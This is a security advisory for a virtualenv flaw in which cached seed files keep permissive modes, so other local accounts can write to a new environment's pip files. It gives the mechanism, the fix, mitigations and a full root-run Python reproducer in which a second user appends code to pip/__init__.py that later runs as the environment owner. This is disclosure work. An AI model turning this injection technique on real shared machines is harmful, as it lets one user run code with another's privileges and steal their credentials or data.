CVE-2026-113720: virtualenv: cached file modes expose seeded envs to tampering

## Summary The app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache populated under permissive permissions can therefore produce files with wider access in later environments. Anthropic's OSS Scanner reported this as `ANT-2026-487MH6OW` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Permissions of files copied from app-data into a new environment. ## Attacker-controlled input The cache must contain files created with broader permissions than the current environment creator intends. Another account must also be able to traverse the new environment and reach those files. A private parent directory prevents that access. No control of a private live cache is assumed. ## Affected code The relevant 21.14.8 source is in [copy helpers](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py). ## Mechanism The default app-data seeder extracts a wheel into a reusable cache and copies its files into later environments with `shutil.copy()`. That function applies the cached source mode to each destination file after creating it, overriding the current run's umask. If the cache image was built under umask `000`, a later environment created under umask `022` can receive mode-`0666` pip files. The cache may be private while the new environment is reachable by other local accounts. ## Reproduction and evidence The scanner created two histories with separate private app-data caches. In the control, the owner's first run used umask `022`; a later environment had no files writable by another account, and that account could not append to `pip/__init__.py`. In the attack history, the first run used umask `000` and the later run still used `022`. The report counted 478 of 493 environment files writable by others. A second unprivileged uid appended a line to pip, and `bin/pip --version` ran it as the environment owner. The cache itself remained under a mode-`0700` home in both histories. An attacker cannot force the owner's earlier umask through this finding; the attack also needs a traversable destination. A mode-`002` cache can expose group write access under suitable group permissions. The scanner dates app-data copy seeding to #1578, first released in 20.0.2. [PR #3425](https://github.com/pypa/virtualenv/pull/3425) creates copied files under a fixed non-writable-by-others policy further restricted by the current umask. ## Attack sequence ```mermaid sequenceDiagram participant U as Environment owner participant C as Private app-data cache participant E as Later environment participant A as Other local account U->>C: first seed extraction under umask 000 C-->>U: cached pip files have mode 0666 U->>E: create environment under umask 022 C->>E: shutil.copy reapplies mode 0666 A->>E: append code to pip/__init__.py U->>E: run bin/pip --version E-->>U: appended code runs as owner ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-487MH6OW`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import glob import os import shutil import stat import subprocess import sys from pathlib import Path sys.stdout.reconfigure(line_buffering=True) # keep these lines in order with those of the child processes os.umask(0o022) # for the directories made here as root OWNER, OTHER_USER = 1000, 65534 # root is only needed to switch to these two unprivileged uids VIRTUALENV = ["virtualenv", "--quiet", "--no-periodic-update"] # default seeder; no network for the update check # read here, as root: /tmp/repro.d need not be readable by the other user ATTACK = Path("/tmp/repro.d/other_user_appends_to_pip.py").read_text() def run_as_owner(command, home, umask): environ = {"HOME": str(home), "PATH": os.environ["PATH"]} subprocess.run(command, user=OWNER, group=OWNER, extra_groups=[], umask=umask, env=environ, cwd=home, check=True) def mode(path): return stat.filemode(os.stat(path).st_mode) work = Path("/tmp/seed-mode-repro") shutil.rmtree(work, ignore_errors=True) work.mkdir() proofs = work / "proofs" proofs.mkdir() proofs.chmod(0o777) # the other user's line writes the uid it runs as in here writable_by_others, appended_line_ran_as = {}, {} # the two histories differ only in the umask of the owner's earlier run, the one that fills ~/.cache/virtualenv for case, umask_of_earlier_run in [("CONTROL", 0o022), ("OBSERVED", 0o000)]: # set up: the owner's home, and with it the cache, is private; the project folder is reachable by path home = work / f"{case}-home" home.mkdir(mode=0o700) os.chown(home, OWNER, OWNER) projects = work / f"{case}-projects" projects.mkdir(mode=0o755) os.chown(projects, OWNER, OWNER) # owner, some time ago: the first run, with an empty cache, extracts the pip wheel into it run_as_owner([*VIRTUALENV, str(home / "earlier-env")], home, umask=umask_of_earlier_run) # owner, today env = projects / "env" run_as_owner([*VIRTUALENV, str(env)], home, umask=0o022) (cached_pip,) = glob.glob(f"{home}/.cache/virtualenv/wheel/*/image/1/CopyPipInstall/pip-*/pip/__init__.py") (seeded_pip,) = glob.glob(f"{env}/lib/python*/site-packages/pip/__init__.py") env_files = [path for path in env.rglob("*") if path.is_file() and not path.is_symlink()] writable_by_others[case] = sum(1 for path in env_files if path.stat().st_mode & stat.S_IWOTH) print(f"{case} earlier run under umask {umask_of_earlier_run:03o}, env created under umask 022") print(f"{case} cache pip/__init__.py {mode(cached_pip)}") print(f"{case} env pyvenv.cfg {mode(env / 'pyvenv.cfg')}") print(f"{case} env bin/activate {mode(env / 'bin' / 'activate')}") print(f"{case} env pip/__init__.py {mode(seeded_pip)}") print(f"{case} env files writable by others: {writable_by_others[case]} of {len(env_files)}") # attack: another local user appends a line to the owner's seeded pip proof = proofs / case subprocess.run( ["python3", "-", str(env), str(proof)], input=ATTACK, text=True, user=OTHER_USER, group=OTHER_USER, extra_groups=[], env={"PATH": os.environ["PATH"]}, cwd="/", check=True, ) # the owner uses the environment run_as_owner([str(env / "bin" / "pip"), "--version"], home, umask=0o022) appended_line_ran_as[case] = proof.read_text() if proof.exists() else None print(f"{case} other user's line ran as uid: {appended_line_ran_as[case]}") # check: the same umask 022 today must give the same modes, whatever umask filled the cache earlier control_is_private = writable_by_others["CONTROL"] == 0 and appended_line_ran_as["CONTROL"] is None observed_runs_as_owner = writable_by_others["OBSERVED"] > 0 and appended_line_ran_as["OBSERVED"] == str(OWNER) print("BUG" if control_is_private and observed_runs_as_owner else "OK") ``` **`repro.d/other_user_appends_to_pip.py`** ```text import glob import sys environment, proof = sys.argv[1:] (pip_init,) = glob.glob(f"{environment}/lib/python*/site-packages/pip/__init__.py") added_line = f"\nimport os; open({proof!r}, 'w').write(str(os.getuid()))\n" try: with open(pip_init, "a") as pip_source: pip_source.write(added_line) print(f"other user: appended a line to {pip_init}") except PermissionError as error: print(f"other user: {error}") ``` ## Impact Copied seed files can remain readable or writable by other accounts despite the current umask. Exposure requires those accounts to be able to traverse the destination's parent directories. An attacker need not control the private source cache. Severity: low. ## Versions tested The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9. The fix creates destination files with mode `0644`, or `0755` for executable sources, filtered further by the current umask. It does not grant group or world write access, even with a permissive umask. Source modes are not preserved, including modes more restrictive than this creation policy. Fix: [PR #3425](https://github.com/pypa/virtualenv/pull/3425). ## Known mitigation Create environments beneath a directory accessible only to their owner. Recreate environments whose permissions were inherited from a permissive cache. ## Affected release - [x] The problem reproduces on virtualenv 21.14.8. ## Credits Reported by Anthropic's OSS Scanner as ANT-2026-487MH6OW.

On a shared ML build server, a data scientist's first virtualenv run happens under umask 000, so the cached pip files get mode 0666. Later they create a training environment under umask 022 in a project directory that other users can traverse. The environment's pip files inherit the permissive modes. A malicious or compromised local account appends code to pip/__init__.py. The next time the data scientist runs bin/pip, the injected code executes with their privileges and can read credentials, datasets or model weights, or tamper with the training pipeline.